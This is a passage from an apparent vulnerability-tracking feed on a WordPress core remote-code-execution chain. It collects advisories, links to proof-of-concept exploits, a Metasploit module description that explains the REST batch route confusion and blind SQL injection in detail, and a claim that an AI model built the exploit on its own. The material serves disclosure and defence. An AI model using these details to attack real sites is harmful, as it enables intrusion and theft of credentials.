\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 (RCE) \u0431\u0435\u0437 \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 (CVE-2026-63030), \u0431\u044b\u043b\u0430 \u043d\u0430\u0439\u0434\u0435\u043d\u0430 \u0410\u0434\u0430\u043c\u043e\u043c \u041a\u044c\u044e\u0441\u043e\u043c (Adam Kues) \u0438\u0437 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 Searchlight Cyber (Assetnote).\n\n\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u0443\u044e \u0432\u0435\u0440\u0441\u0438\u044e.\n\nhttps://wordpress.org/news/2026/07/wordpress-7-0-2-release/\n--------------------------\n\n\ud83e\udd14\u0423\u0434\u0438\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0435: \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u043a\u0435\u0439\u0441\u0430 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u043f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u044b\u0439 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442, \u0440\u044b\u043d\u043e\u0447\u043d\u0430\u044f \u0441\u0442\u043e\u0438\u043c\u043e\u0441\u0442\u044c \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0443 \u0431\u0440\u043e\u043a\u0435\u0440\u043e\u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0434\u043e\u0441\u0442\u0438\u0433\u0430\u0435\u0442 500 000 \u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432, \u0431\u044b\u043b \u0430\u0432\u0442\u043e\u043d\u043e\u043c\u043d\u043e \u0441\u0433\u0435\u043d\u0435\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u043d\u043e\u0432\u0435\u0439\u0448\u0435\u0439 \u044f\u0437\u044b\u043a\u043e\u0432\u043e\u0439 \u0418\u0418-\u043c\u043e\u0434\u0435\u043b\u044c\u044e \u2b55\ufe0f GPT5.6 Sol Ultra. \u0418\u0418 \u0432\u044b\u044f\u0432\u0438\u043b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0438\u0441\u0445\u043e\u0434\u043d\u043e\u043c \u043a\u043e\u0434\u0435 \u00ab\u0441 \u0447\u0438\u0441\u0442\u043e\u0433\u043e \u043b\u0438\u0441\u0442\u0430\u00bb \u0432\u0441\u0435\u0433\u043e \u0437\u0430 10 \u0447\u0430\u0441\u043e\u0432 \u043f\u0440\u0438 \u0432\u044b\u0447\u0438\u0441\u043b\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0442\u0440\u0430\u0442\u0430\u0445 \u043e\u043a\u043e\u043b\u043e 25 \u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432 \u0421\u0428\u0410.\n\n\u0422\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043e\u0442\u043f\u0440\u0430\u0432\u043d\u043e\u0439 \u0442\u043e\u0447\u043a\u043e\u0439 \u0432\u0435\u043a\u0442\u043e\u0440\u0430 \u0430\u0442\u0430\u043a\u0438 \u0441\u0442\u0430\u043b\u0430 \u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043e\u0448\u0438\u0431\u043a\u0430 \u0440\u0430\u0441\u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u043e\u0432 (batch-route confusion) \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 \u043f\u0430\u043a\u0435\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 REST API, \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u043d\u043e\u043c \u0435\u0449\u0435 \u0432 WordPress 5.6. \u0418\u0418 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b, \u0447\u0442\u043e \u043f\u0440\u0438 \u043d\u0430\u043c\u0435\u0440\u0435\u043d\u043d\u043e \u0432\u044b\u0437\u0432\u0430\u043d\u043d\u043e\u0439 \u043e\u0448\u0438\u0431\u043a\u0435 \u0432 \u043e\u0434\u043d\u043e\u043c \u0438\u0437 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0441\u0434\u0432\u0438\u0433 \u0438\u043d\u0434\u0435\u043a\u0441\u043e\u0432 \u043c\u0430\u0441\u0441\u0438\u0432\u043e\u0432 \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u0438 \u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u043c\u0438\u043d\u043e\u0432\u0430\u0442\u044c \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u0435 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u044b \u043e\u0447\u0438\u0441\u0442\u043a\u0438 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u0432.\n\n\u0422\u043e, \u0447\u0442\u043e \u043d\u0430 \u0440\u044b\u043d\u043a\u0435 \u043a\u0438\u0431\u0435\u0440\u043e\u0440\u0443\u0436\u0438\u044f \u043e\u0446\u0435\u043d\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0432 500 000 \u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432, \u0431\u044b\u043b\u043e \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043e \u043f\u0440\u0438 \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432\u044b\u0445 \u0437\u0430\u0442\u0440\u0430\u0442\u0430\u0445 \u0432\u0441\u0435\u0433\u043e \u0432 25 \u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432 (\u0438\u043c\u0435\u043d\u043d\u043e \u0441\u0442\u043e\u043b\u044c\u043a\u043e \u0441\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \u0441\u0442\u043e\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0442\u0440\u0430\u0447\u0435\u043d\u043d\u044b\u0445 \u0432\u044b\u0447\u0438\u0441\u043b\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0440\u0435\u0441\u0443\u0440\u0441\u043e\u0432 \u043f\u043e \u043f\u043e\u0434\u043f\u0438\u0441\u043a\u0435 \u043d\u0430 \u0418\u0418-\u043c\u043e\u0434\u0435\u043b\u044c). \u0418\u0418\u0448\u043a\u0430 \u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0430\u0441\u044c \u0432\u0441\u0435\u0433\u043e \u0437\u0430 10 \u0447\u0430\u0441\u043e\u0432.\n\n\u0418\u0418 \u043d\u0435 \u043f\u0440\u043e\u0441\u0442\u043e \u043d\u0430\u0448\u0435\u043b \u0431\u0430\u0437\u043e\u0432\u0443\u044e \u043e\u0448\u0438\u0431\u043a\u0443, \u043e\u043d \u0432\u044b\u0441\u0442\u0440\u043e\u0438\u043b \u0444\u0435\u043d\u043e\u043c\u0435\u043d\u0430\u043b\u044c\u043d\u043e \u0441\u043b\u043e\u0436\u043d\u0443\u044e, \u043c\u043d\u043e\u0433\u043e\u0441\u0442\u0443\u043f\u0435\u043d\u0447\u0430\u0442\u0443\u044e \u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u0434\u043b\u044f \u043e\u0431\u0445\u043e\u0434\u0430 \u0437\u0430\u0449\u0438\u0442\u044b. \u041a\u0430\u043a \u043f\u0440\u0438\u0437\u043d\u0430\u043b\u0441\u044f \u0441\u0430\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c, \u043d\u0438 \u043e\u0434\u0438\u043d \u044d\u043a\u0441\u043f\u0435\u0440\u0442-\u0447\u0435\u043b\u043e\u0432\u0435\u043a \u0432 \u043c\u0438\u0440\u0435 \u043d\u0435 \u0441\u043c\u043e\u0433 \u0431\u044b \u0441 \u043d\u0443\u043b\u044f \u043f\u0440\u043e\u0434\u0435\u043b\u0430\u0442\u044c \u0442\u0430\u043a\u0443\u044e \u0440\u0430\u0431\u043e\u0442\u0443 \u0437\u0430 \u0441\u0442\u043e\u043b\u044c \u043a\u043e\u0440\u043e\u0442\u043a\u043e\u0435 \u0432\u0440\u0435\u043c\u044f.\n\n\u270b @Russian_OSINT", "url": "https://t.me/Russian_OSINT/7565"}, {"timestamp": "2026-09-03T00:00:52.267Z", "date_only": false, "value": "2026-09-03T00:00:52.267169Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/HackingTeamGrupoOfficial/47636", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "af9f50ac-58fa-4e82-86f9-182158a5c2b8", "content": "\u203c\ufe0f\ud83d\udea8 CVE-2026-63030 // wp2shell-poc: Proof-of-concept for an unauthenticated SQL injection in WordPress core that chains to remote code execution, via REST batch route confusion.\n\nPoC: https://github.com/Icex0/wp2shell-poc", "url": "https://t.me/HackingTeamGrupoOfficial/47636"}, {"timestamp": "2026-09-03T00:00:52.361Z", "date_only": false, "value": "2026-09-03T00:00:52.361287Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/HackingTeamGrupoOfficial/47625", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "e05c74b1-7171-4563-9184-2b49b5a0cc65", "content": "CVE-2026-63030  WordPress\n*\nwp2shell", "url": "https://t.me/HackingTeamGrupoOfficial/47625"}, {"timestamp": "2026-09-03T12:00:06.419Z", "date_only": false, "value": "2026-09-03T12:00:06.419995Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/bizone_channel/2810", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "426e474e-4fab-4469-9122-7ddabc960c85", "content": "\ud83d\udd3a\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c WP2Shell \u0432 WordPress Core \u0441 \u043e\u0446\u0435\u043d\u043a\u043e\u0439 9,8 \u043f\u043e \u0448\u043a\u0430\u043b\u0435 CVSS\n\nCVE-2026-63030 \u0432 \u0441\u0432\u044f\u0437\u043a\u0435 \u0441 CVE-2026-60137 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u044f\u0434\u0440\u043e WordPress \u0432\u0435\u0440\u0441\u0438\u0439 6.9.0\u20136.9.4 \u0438 7.0.0\u20137.0.1 (SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044f CVE-2026-60137 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0435\u0442\u043a\u0443 6.8.0\u20136.8.5). \n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0447\u0435\u0440\u0435\u0437 REST API batch \u2014 \u044d\u043d\u0434\u043f\u043e\u0438\u043d\u0442 \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f remote code execution (RCE) \u043d\u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e\u0439 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0435 \u0431\u0435\u0437 \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u043f\u043b\u0430\u0433\u0438\u043d\u043e\u0432.\n\n17 \u0438\u044e\u043b\u044f \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0435 \u043f\u043e\u044f\u0432\u0438\u043b\u0438\u0441\u044c PoC-\u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u044b, \u0430 \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u044b BI.Z\u041eNE WAF \u0443\u0436\u0435 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u0430\u0442\u0430\u043a.\n\n\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u043c:\n\n\ud83d\udd35\u041a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u043e\u0440\u0435\u0435 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c WordPress \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 7.0.2 (\u0432\u0435\u0442\u043a\u0430 7.0), 6.9.5 (\u0432\u0435\u0442\u043a\u0430 6.9) \u0438\u043b\u0438 6.8.6 (\u0432\u0435\u0442\u043a\u0430 6.8, \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044e).\n\n\ud83d\udd35\u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043b\u043e\u0433\u0438 \u043d\u0430 \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u044f \u043a /wp-json/batch/v1 \u0438 ?rest_route=/batch/v1, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0441\u043f\u0438\u0441\u043e\u043a \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 WordPress \u2014 \u043d\u0430 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0437\u0430\u043f\u0438\u0441\u0435\u0439 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u0432.\n\n\u0414\u043b\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 BI.Z\u041eNE WAF \u0443\u0436\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u043f\u0440\u0430\u0432\u0438\u043b\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0449\u0430\u044e\u0442 \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 WP2Shell, \u0430 \u0432 BI.Z\u041eNE EASM \u0435\u0441\u0442\u044c \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u0430\u043d\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438.", "url": "https://t.me/bizone_channel/2810"}, {"timestamp": "2026-09-04T14:00:05.311Z", "date_only": false, "value": "2026-09-04T14:00:05.311292Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/ap_security/1026", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "fe0ec5e6-9f12-4f54-86a8-1140fc7aff7e", "content": "#poc #pentest \n\nwp2shell \ud83d\udccc\n\nwp2shell \u2014 \u044d\u0442\u043e PoC-\u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442, \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u044f\u044e\u0449\u0438\u0439 \u0434\u0432\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 (CVE-2026-63030 & CVE-2026-60137) WordPress Core \u0432 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u0434\u043b\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 RCE.\n\n \u041e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u0443\u0441\u043b\u043e\u0432\u0438\u044f \u0434\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438:\n\n\u25fd\ufe0f\u0412\u0435\u0440\u0441\u0438\u044f WordPress: 6.9.0 \u2013 6.9.4 \u0438\u043b\u0438 7.0.0 \u2013 7.0.1. \n\n\u0418\u043c\u0435\u043d\u043d\u043e \u0432 \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 \u043e\u0431\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442 \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e, \u043e\u0431\u0440\u0430\u0437\u0443\u044f \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u0434\u043b\u044f RCE. \u0411\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u0438\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 (6.8.x) \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442 \u0442\u043e\u043b\u044c\u043a\u043e SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044e, \u043d\u043e \u043d\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u0431\u0435\u0437 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u0439\n\n\u25fd\ufe0f\u0414\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u044c REST API: \u0426\u0435\u043b\u0435\u0432\u043e\u0439 \u0441\u0430\u0439\u0442 \u0434\u043e\u043b\u0436\u0435\u043d \u0438\u043c\u0435\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0439 REST API endpoint \u043f\u043e \u043f\u0443\u0442\u0438 /wp-json/batch/v1\n\n\u25fd\ufe0f\u041d\u0430\u043b\u0438\u0447\u0438\u0435 \u0445\u043e\u0442\u044f \u0431\u044b \u043e\u0434\u043d\u043e\u0439 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438: \u042d\u0442\u043e \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0434\u043b\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u043e\u0434\u043d\u043e\u0433\u043e \u0438\u0437 \u044d\u0442\u0430\u043f\u043e\u0432 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438. \n\n\u0426\u0435\u043f\u043e\u0447\u043a\u0430 wp2shell \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044e (CVE-2026-60137) \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f UNION SELECT-\u0437\u0430\u043f\u0440\u043e\u0441\u0430. \u0427\u0442\u043e\u0431\u044b \u044d\u0442\u043e\u0442 UNION-\u0437\u0430\u043f\u0440\u043e\u0441 \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e \u0438 \u0441\u043e\u0437\u0434\u0430\u043b \u0432\u0430\u043b\u0438\u0434\u043d\u044b\u0435 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0435 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u043c\u0443 \u043e\u0431\u044a\u0435\u043a\u0442\u044b,  \u043d\u0443\u0436\u043d\u0430 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 \u0438 \u0434\u0430\u043d\u043d\u044b\u0435 \u0445\u043e\u0442\u044f \u0431\u044b \u043e\u0434\u043d\u043e\u0439 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0439, \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u0441 \u0441\u0430\u0439\u0442\u0430.\n\n\u26a0\ufe0f  \u0414\u043b\u044f \u0437\u0430\u0449\u0438\u0442\u044b \u043e\u0442 \u0434\u0430\u043d\u043d\u043e\u0439 \u0430\u0442\u0430\u043a\u0438 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u0435\u0441\u044c \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 6.9.5 \u0438\u043b\u0438 7.0.2 \u2014 \u044d\u0442\u043e \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0437\u0430\u043a\u0440\u044b\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c. \u0415\u0441\u043b\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u043a\u0443 \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 WAF \u0438\u043b\u0438 \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0439 \u043f\u043b\u0430\u0433\u0438\u043d \u0434\u043b\u044f REST API \u0434\u043e \u0442\u0435\u0445 \u043f\u043e\u0440, \u043f\u043e\u043a\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043d\u0435 \u0441\u0442\u0430\u043d\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u043c.", "url": "https://t.me/ap_security/1026"}, {"timestamp": "2026-09-08T06:47:56.100Z", "date_only": false, "value": "2026-09-08T06:47:56.100809Z", "kind": "sighting", "label": "Seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/http/wordpress_wp2shell_sqli.rb", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "1138c686-89a0-400d-892c-24907fedf371", "content": "{\"actions\": [{\"description\": \"Dump username and password hash for COUNT users via blind SQLi\", \"name\": \"List Users\"}], \"aliases\": [], \"arch\": \"\", \"author\": [\"dividesbyzer0\", \"Searchlight Cyber\"], \"autofilter_ports\": [80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443], \"autofilter_services\": [\"http\", \"https\"], \"check\": true, \"default_credential\": false, \"description\": \"WordPress core 6.9.0 - 6.9.4 and 7.0.0 - 7.0.1 are affected by an unauthenticated\\n          SQL injection reachable through the REST API batch endpoint (/batch/v1).\\n\\n          The batch controller builds parallel $matches (the matched handler per sub-request)\\n          and $validation (the validation result per sub-request) arrays, then indexes both by\\n          the same offset when dispatching. A sub-request whose path fails wp_parse_url() is\\n          appended to $validation but not to $matches, desynchronising the two arrays so a\\n          sub-request is dispatched under a different sub-request's handler (CVE-2026-63030).\\n\\n          Nesting the primitive twice lets a GET on the single-post item route\\n          /wp/v2/posts/999999, carrying the collection-only parameter author_exclude, be\\n          dispatched under the posts collection get_items() handler, where author_exclude maps\\n          to the WP_Query author__not_in query var. The vulnerable builds interpolate that value\\n          into SQL as a string (CVE-2026-60137), producing a pre-authentication boolean- and\\n          time-based blind SQL injection in the post_author NOT IN (...) clause.\\n\\n          This module confirms the route-confusion primitive with a benign marker probe, then\\n          uses a time-based blind injection to dump WordPress user logins and password hashes.\\n          It is read-only and does not create posts, users, or other content.\", \"disclosure_date\": \"2026-07-17\", \"fullname\": \"auxiliary/scanner/http/wordpress_wp2shell_sqli\", \"is_install_path\": true, \"mod_time\": \"2026-08-16 12:54:09 +0000\", \"name\": \"WordPress Core wp2shell Unauthenticated SQL Injection via REST Batch Route Confusion\", \"needs_cleanup\": false, \"notes\": {\"RelatedModules\": [\"exploit/multi/http/wp_batch_desync_rce\"], \"Reliability\": [], \"SideEffects\": [\"ioc-in-logs\"], \"Stability\": [\"crash-safe\"]}, \"path\": \"/modules/auxiliary/scanner/http/wordpress_wp2shell_sqli.rb\", \"platform\": \"\", \"post_auth\": false, \"rank\": 300, \"ref_name\": \"scanner/http/wordpress_wp2shell_sqli\", \"references\": [\"CVE-2026-63030\", \"CVE-2026-60137\", \"URL-https://www.rapid7.com/blog/post/etr-cve-2026-63030-wp2shell-a-critical-remote-code-execution-vulnerability-in-wordpress-core/\", \"URL-https://blog.zsec.uk/wp2shell-code-trace-deep-dive/\", \"URL-https://github.com/Icex0/wp2shell-poc\"], \"rport\": 80, \"session_types\": false, \"targets\": null, \"type\": \"auxiliary\"}", "url": "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/http/wordpress_wp2shell_sqli.rb"}, {"timestamp": "2026-09-08T08:34:36.952Z", "date_only": false, "value": "2026-09-08T08:34:36.952Z", "kind": "other", "label": "Updated", "source": "bitnami_vulndb \u00b7 BIT-WORDPRESS-2026-63030", "record": "BIT-WORDPRESS-2026-63030", "field": "modified"}, {"timestamp": "2026-09-09T16:00:07.159Z", "date_only": false, "value": "2026-09-09T16:00:07.159466Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/101829", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "6e70d261-4280-4c03-a46f-148fcfe5868c", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-63030-poc\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a TomorrowX6\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 1\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-09 14:45:36\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/101829"}, {"timestamp": "2026-09-14T03:00:07.529Z", "date_only": false, "value": "2026-09-14T03:00:07.529286Z", "kind": "sighting", "label": "Seen", "source": "Telegram/CIwg3dUruFUkA2IiAP63EE_3LOdvwiOYKhxCOUQk67UuENI", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "4794601d-8b1f-4717-a6fa-d485fb3e13d4"}, {"timestamp": "2026-09-14T05:50:17.345Z", "date_only": false, "value": "2026-09-14T05:50:17.345803Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/psa.masto.ai.ap.brid.gy/post/3mvhg2xlrz7t2", "record": "cve-2026-63030", "field": "creation_timestamp", "uuid": "f0bbbde8-6888-4f09-8fb9-1128beb99e42", "content": "Browsing through my webserver logs to see what the internet brings me today and I come across:\nuser_agent: cve-2026-63030/1.0\n\nNice when the attack bot tells you exactly what it's after.\n\nThis came from 85.239.151.0/24 registered under \"Aeza International LTD\". Turns out this company is under [\u2026]", "url": "https://bsky.app/profile/psa.masto.ai.ap.brid.gy/post/3mvhg2xlrz7t2"}, {"timestamp": 